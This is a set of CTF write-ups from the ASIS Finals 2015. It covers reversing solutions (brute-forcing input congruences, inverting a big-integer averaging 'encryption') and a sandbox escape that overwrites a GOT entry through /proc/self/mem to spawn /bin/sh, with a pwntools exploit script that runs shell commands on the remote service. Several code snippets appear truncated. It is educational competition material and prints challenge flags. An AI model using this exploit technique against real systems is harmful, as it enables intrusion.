Fake was a fairly simple binary. You had to supply a 64 bit integer in decimal form as argv[1] and it multiplied with different values, shifted some and printed out as ASCII.

As we could suspect that the output is the flag (it was 40 bytes long instead of the 38 byte + null terminating zero), and the flag is starting with “ASIS{“ + 3 hex digit (0-9a-f), we would easily bruteforce the solution as there are only 16**3 = 4096 possibilities.

The only problem we had to solve is it multiplied two 64 bit integers, which caused overflow. So when we calculated the input value, we had to solve a very basic congruence.

argv1num = strtol(argv[1], 0LL, 10);
v5 = 1019660215 * argv1num;

This C# snippet generated every possible inputs:

var charset = "0123456789abcdef";
var solv = new List<string>();
foreach (var c1 in charset)
    foreach (var c2 in charset)
        foreach (var c3 in charset)
            var p1 = "ASIS{" + c1 + c2 + c3;
            var v1 = BitConverter.ToUInt64(p1.Select(x => (byte)x).ToArray(), 0);
            var maxVal = (BigInteger)1 << 63;
            var num = MathUtils.SolveLinearCongruence(1019660215, v1, maxVal).Single();
            var num2 = num % maxVal;
File.WriteAllLines("solv.txt", solv);

Testing them was done by the following bash script:

while read p; do
  ./fake $p >> flags.txt
done <solv.txt

And grepping the result gave me only valid flag:

[email protected]:~/ctf/asisfinals2015$ cat flags.txt|grep -E [0-9a-z]{32}

Exchange is a 200 pts reversing challenge.

It “encrypts” the flag and saves the result to the flag_encrypted file, which was given to us.

After reversing the code, I found out what is the purpose of different functions:

0x18B0 - int* asciiToBigInt(char* input, int input): converts an ASCII string (right padded with \x00 bytes to 128 len) to an internal representation (I call it “bigInt”) where every base 10 digit is stored as a 4 byte int containing byte 0x00 - 0x09. The data is in little endian order. So the last digit is the first integer.

For example if the input is “A”, then it is padded to “A”+”\x00”*127, which can be represented as big integer as:


So the internal representation will be as integer: 0,4,8,9,…,4,6,5,4. As bytes: 00000000 04000000 0800000000 0900000000 …

0x25F0 - void bigIntToDecStr(int input, char *outBuf): converts internal representation to decimal number string: “45644…59840” 0x276C - void bigIntToHex(int *a1, char *a2): converts internal representation to hex string: “410000…000000” 0x1780 - int decStrToBigInt(char inputDecStr): converts decimal number string to internal representation: “45644…59840” => 0,4,8,9,…,4,6,5,4 0x0f82 - void bigIntMultiply(int *output, int *input1, int *input2): output = input1 * input2 for bigints 0x21a0 - void bigIntAdd(int *result, int *a, int *b): result = a + b for bigints 0x1730 - __int64 hexCharToNum(int a1): converts one hex character to numerical representation: “0” -> 0, “A” -> 10, “F” -> 15 0x2540 - void divideBy2(int *input): input /= 2 for bigints 0x13B0 - int algoAvg(int *input1, int *input2, __int64 roundNum): this is the main magic method, can be summarized as this:

while round--:
  tmp = (a + b) / 2
  a = b
  b = tmp

As the round number was too much and it would be days to run, I patched the binary and lowered the round from 0x0f0000000000000f to 0x0f000f which should give me almost the correct result.


Also it OR-ed with small random values, which did not cause significant result, but could make my debugging harder, so I patched those out as well.


I found out quickly that the result is (1input1 + 2input2)/3, but it calculates it a much slower way.

Knowing these functions the main method can be summarized as this:

  • read flag as first argument (argv[1])
  • converts the flag to a decimal number string => flagStr
  • selects a random value between 1 and 127
  • chunks the flagStr into two parts, the length of the first part is the previously generated random value
  • calculates avg1 = algoAvg(part1, part2) = (part1 + 2*part2) / 3
  • calculates avg2 = algoAvg(part2, 2part1) = (part2 + 4part1) / 3
  • converts avg1 and avg2 to hex and writes them out to flag_encrypted file

Although I don’t understand exactly but in the cases I tested the two parts are separated by the 0x00, 0x01, 0x02 byte series.

So decrypting the flag can be done by:

  • splitting the flag_enc file into two parts (avg1 and avg2), the parts are separated by 0x000102
  • calculating (equations are determined by doing some basic math)
    • input2 = (4 * avg1 - avg2) * 3 / 7
    • input1 = 3 * avg1 - 2 * input2;
  • joining the two parts* (as decimal strings)
  • converting the big integer to ASCII

  • I had to bruteforce a little as the input1’s last digits were not correct, so I tried to add 0..255 to input1 before joining the strings and doing this until I found “ASIS{“

The plaintext was:

Woow! you are good at math! So the flag is ASIS{93b838ecffa1b11c2f5bcf77c2596494}, good luck :-(ÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿY

Exploit code

var enc = File.ReadAllBytes("flag_enc");
int splitPos = 0;
for (; splitPos < enc.Length - 3; splitPos++)
    if (enc[splitPos] == 0 && enc[splitPos + 1] == 1 && enc[splitPos + 2] == 2)

var avg1real = new BigInteger(enc.Take(splitPos).Reverse().Concat(new byte[1]).ToArray());
var avg2real = new BigInteger(enc.Skip(splitPos + 3).Reverse().Concat(new byte[1]).ToArray());

var input2restReal = (avg1real * 4 - avg2real) * 3 / 7;
var input1restReal = avg1real * 3 - 2 * input2restReal;

for (int i = 0; i < 255; i++)
    var fullNumRest = BigInteger.Parse((input1restReal + i).ToString() + input2restReal);
    var flag = Encoding.Default.GetString(fullNumRest.ToByteArray().Reverse().ToArray());
    if (flag.Contains("ASIS{"))

This challenge was solved by and the write up was written by one of my teammates, nguyen

From http://asis-ctf.ir/rules/:

Flag example:ASIS{476f20676f6f2e676c2f67776a625466}

=> converts back from hex ‘476f20676f6f2e676c2f67776a625466’ == Go goo.gl/gwjbTf

It is a short link to http://0bin.asis.io/paste/wYO8nWC1#Fef7-CVtrDG7NIb0e1W77+t2jtMF8GSbVHuo6Ajm5RQ that has content:

hi all, the flag is: ASIS{c0966ad97f120b58299cf2a727f9ca59}

We got a big file with a lot of flag-like stuff:

----------Which one is flag?----------
ASIS{3ec56380920f6b4a8ab7c85fa f6f2667}
ASIS{b3532aebaf2de7ea0fecdcf 80d91b29b}
ASIS{5148d9cb3d97d7d1e9d74dc5 0942393c}
ASIS{e9d89880e2c 31c00ef8008e830ff5268}
ASIS{fcf88f318445bed04cc2fe5 8dca9e65b}
ASIS{50480fe0160c98e7e1a7cd1266c 2d8e1}
ASIS{137db0 a81079449a5303d94e46cce011}
ASIS{6ecc4428eb9ed4bfe6ce989096 62a43b}
ASIS{44dc19a4af8a4747 0019394dcb58a4b8}
ASIS{2fa89f c6b0a188b83448f6e9372830b4}
ASIS{a222df308beb2112419dd 1223b76f614}
ASIS{fd96df4b589bd9eb9fc9b 60ffef82b62}
ASIS{2ff7139510ce5124efdb65c65 47b4c5e} 

Running a grep solved the challenge (-a: text mode, -E: extended grep):

[email protected]:~/ctf/asisfinals2015$ grep -aE ASIS\{[0-9a-f]{32}\} flagBag.txt

The second part of the challenge uses an already known technique to break out from “sandboxes”.

Namely: overwriting the contents of the /proc/self/mem. This is possible because the calculator contains two methods: READ and WRITE with which we can read and write arbitrary files. (Note: I tried to read “flag2”, but unfortunately it did not exist… :))

So I leaked the memory mappings with reading the /proc/self/maps file. Then I overwrote the “open” call’s GOT entry to system. And simply called the READ call again with /bin/sh which instead of opening the file, opened a shell for me (btw I tried to call “sh” first, but it turned out it calls a stat function first, and “sh” did not work, but “/bin/sh” did the trick).

Also there were some character encoding problem (it probably tried to interpret the binary input as UTF8 characters), so I only overwrote 3 bytes instead of the full address and the exploit is not reliable: only works if ASLR gives an address with characters which are lower than 0x80.

After calling an “ls” it turned out the flag was in the flag2-03dae19b720939043d87fbf67342c2e8.txt file.

And the flag was: ASIS{9009eeab9869a8098acd7bb19f079230}

Exploit code

#!/usr/bin/env python
from pwn import *
import re
from time import sleep

for i in xrange(10):
    print "Try #%d" % (i + 1)
    p = remote('', 1337)
    #p = process('./start.sh', shell=True)



    p.recvuntil('> ')
    print '[!] FLAG 1 = %s' % p.recvline().strip()

    p.recvuntil('> ')
    maps = p.recvuntil('\x00')
    #print "maps =", maps

    libcBase = int(re.search('([a-z0-9]+).*?libc-2.19.so', maps).group(1), 16)
    libThreadBase = int(re.search('([a-z0-9]+).*?libpthread-2.19.so', maps).group(1), 16)
    print "libThread base = 0x%016x" % libThreadBase

    systemLocal = 0x7ffff74ba230
    libThreadBaseLocal = 0x7ffff74aa000
    openGotAddr = 0x9776C8

    system = libThreadBase - libThreadBaseLocal + systemLocal
    print "system = 0x%016x" % system

    systemChars = p64(system)[0:3]
    if ord(systemChars[0]) >= 128 or ord(systemChars[1]) >= 128 or ord(systemChars[2]) >= 128:
        print "Exploit won't work, restarting..."

    p.send('ls && echo LSEND\n')
    print "ls result = %s" % p.recvuntil('LSEND\n').replace('LSEND','').replace('\n', ' ').strip()

    p.send('cat flag2-03dae19b720939043d87fbf67342c2e8.txt\n')
    print "[!] FLAG 2 = %s" % p.recvline().strip()